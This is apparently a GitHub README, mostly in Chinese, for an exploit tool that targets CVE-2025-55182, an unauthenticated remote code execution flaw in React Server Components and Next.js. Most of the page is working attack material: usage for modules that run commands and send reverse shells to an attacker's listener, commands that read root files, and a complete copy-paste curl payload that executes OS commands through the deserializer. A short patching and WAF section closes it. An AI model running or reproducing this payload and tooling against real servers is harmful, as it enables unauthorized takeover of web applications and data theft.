SpeatX/React2Shell-CVE-2025-55182
GitHub: SpeatX/React2Shell-CVE-2025-55182
一个针对 CVE-2025-55182 的利用工具,通过 Flight 协议反序列化漏洞实现未授权远程代码执行。
Stars: 1 | Forks: 0
# CVE-2025-55182 — React2Shell
未经认证的 React Server Components 远程代码执行漏洞,源于 Flight 协议的不安全反序列化。只需一个 HTTP 请求即可在服务器上执行任意代码——无需凭据,无需任何前置访问权限。
```
_____ __ _ __
/ ___/____ ___ ____ _/ /_| |/ /
\__ \/ __ \/ _ \/ __ `/ __/ /
___/ / /_/ / __/ /_/ / /_/ |
/____/ .___/\___/\__,_/\__/_/|_|
/_/
React Server Components — Flight Protocol RCE
CVE-2025-55182 · CVSS 10.0
Author: SpeatX · OSCP Style · v1.0
```
**CVE-2025-55182** · CVSS 10.0 · 未经认证 · 预认证 RCE · 披露日期:2025 年 12 月 3 日
影响 React 19(≤ 19.2.0)以及任何使用 Server Actions 的 Next.js 应用程序。默认配置即存在漏洞——目标端无需自定义代码。
**受影响版本**
| 包 | 受影响版本 | 修复版本 |
|---|---|---|
| `react-server` | 19.0.0 → 19.2.0 | 19.3.0+ |
| `next` | 所有包含未修补 React 19 的版本 | 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6+ |
## 安装
```
git clone https://github.com/SpeatX/react2shell
cd react2shell
pip install requests
```
需要 Python 3.8+。无其他依赖。
## 使用方法
```
python exploit.py -t [options]
```
```
Modules:
check Fingerprint target and confirm vulnerability
exec Execute a single OS command and read the output
revshell Send a reverse shell to your listener
Options:
-t, --target URL Target URL
-c CMD Command to run (exec module)
--lhost IP Your IP (auto-detected from tun0 if not set)
--lport PORT Listening port (default: 4444)
--shell-type TYPE bash · python3 · nc · mkfifo · node (default: bash)
--proxy URL Route through a proxy (e.g. http://127.0.0.1:8080)
--random-agent Rotate User-Agent on each request
--timeout N Request timeout (default: 15)
```
**推荐工作流程——始终从检查开始:**
```
# 1. 确认目标存在漏洞
python exploit.py check -t http://10.10.11.50
# 2. 运行命令进行枚举或获取 flags
python exploit.py exec -t http://10.10.11.50 -c "id"
python exploit.py exec -t http://10.10.11.50 -c "cat /root/root.txt"
# 3. 在需要交互时获取 shell
# (首先启动您的 listener: nc -lvnp 4444)
python exploit.py revshell -t http://10.10.11.50
python exploit.py revshell -t http://10.10.11.50 --lhost 10.10.14.5 --lport 4444
python exploit.py revshell -t http://10.10.11.50 --shell-type python3 --lport 9001
```
代理支持和随机 User-Agent 可用于任何模块:
```
python exploit.py check -t http://10.10.11.50 --proxy http://127.0.0.1:8080
python exploit.py exec -t http://10.10.11.50 -c "whoami" --random-agent
python exploit.py revshell -t http://10.10.11.50 --proxy http://127.0.0.1:8080
```
按模块查看帮助:`python exploit.py <模块> --help`
## 工作原理
### 背景
React Server Components 使用一种名为 **Flight 协议** 的内部流式格式进行通信。当浏览器调用 Server Action 时,它会向应用根目录发送一个包含 `Next-Action` 头的 `multipart/form-data` POST 请求。服务器在验证 Action ID 之前,首先将请求体传递给 `react-server` 包进行反序列化。
```
Browser Node.js / Next.js
│ │
│── POST / ────────────────────────>│
│ Next-Action: x │
│ Content-Type: multipart/form-data│
│ Body: poisoned Flight chunk │
│ │
│ react-server │
│ resolveModelToJSON() │ ← vulnerable
│ │
│<── 307 + X-Action-Redirect ───────│ output here
```
### 漏洞
在 `resolveModelToJSON()` 内部,反序列化器遍历传入的 JSON 块。当遇到包含 `then` 属性的对象时,会将其视为 Promise 并等待它——这是异步 Server Components 的预期行为。问题在于:**没有进行任何验证来确认这个 thenable 对象来自可信来源**。
攻击者可以在 multipart 请求体中注入一个伪造的块,其中包含指向 `require('child_process').execSync(...)` 的 `then` 属性。React 会等待它,然后操作系统命令就会执行。
### 为什么 `Next-Action: x` 可以生效
在生产环境中,Server Action 通过 SHA 哈希来标识。服务器应该先验证这个哈希再处理请求。但是 Flight 解码器**在**该检查之前运行——这意味着任何带有 `Next-Action` 头的 POST 请求,即使是像 `x` 这样完全伪造的值,也会触发有漏洞的反序列化路径。无需有效的 Action ID。
### 输出窃取
注入的代码捕获命令输出,并抛出一个精心构造的 `NEXT_REDIRECT` 错误:
```
var res = require('child_process').execSync('').toString().trim();
throw Object.assign(new Error('NEXT_REDIRECT'), {
digest: `NEXT_REDIRECT;push;/login?a=${res};307;`
});
```
Next.js 捕获该错误并将其转换为 `307 Temporary Redirect`,将摘要嵌入到 `X-Action-Redirect` 响应头中。命令输出以 URL 编码形式呈现:
```
HTTP/1.1 307 Temporary Redirect
X-Action-Redirect: /login?a=uid%3D0%28root%29%20gid%3D0%28root%29;307;
```
### 使用 curl 手动利用
```
curl -si -X POST http://TARGET/ \
-H 'Next-Action: x' \
-H 'Content-Type: multipart/form-data; boundary=----Boundary' \
--data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'id\').toString().trim().replace(/\\\\n/g,\' | \');;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:`NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------Boundary\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------Boundary--\r\n'
```
输出位于 `X-Action-Redirect` 头中,URL 编码在 `/login?a=` 之后。
## 修复方案
```
npm install react@latest react-dom@latest next@latest
```
最低安全版本:`react-server` ≥ 19.3.0 · `next` ≥ 15.3.6
如果无法立即修补:
- 在 `next.config.js` 中设置 `experimental: { serverActions: false }`
- 在反向代理层面阻止 `Next-Action` 头
- WAF 规则:拒绝包含 `NEXT_REDIRECT` 或 `__proto__` 的 POST 请求体
## 参考资料
- [NVD — CVE-2025-55182](https://nvd.nist.gov/vuln/detail/CVE-2025-55182)
- [Wiz Research](https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182)
- [OffSec](https://www.offsec.com/blog/cve-2025-55182/)
- [Microsoft MSTIC](https://www.microsoft.com/en-us/security/blog/2025/12/15/defending-against-the-cve-2025-55182-react2shell-vulnerability-in-react-server-components/)
- [Google GTIG](https://cloud.google.com/blog/topics/threat-intelligence/threat-actors-exploit-react2shell-cve-2025-55182)
标签:CISA项目, CVE-2025-55182, CVSS 10.0, Flight协议, Python, RCE, React2Shell, React Server Components, 反序列化漏洞, 反弹shell, 命令执行, 无后门, 服务器端漏洞, 未授权, 编程工具, 远程代码执行, 逆向工具, 预认证, 高危漏洞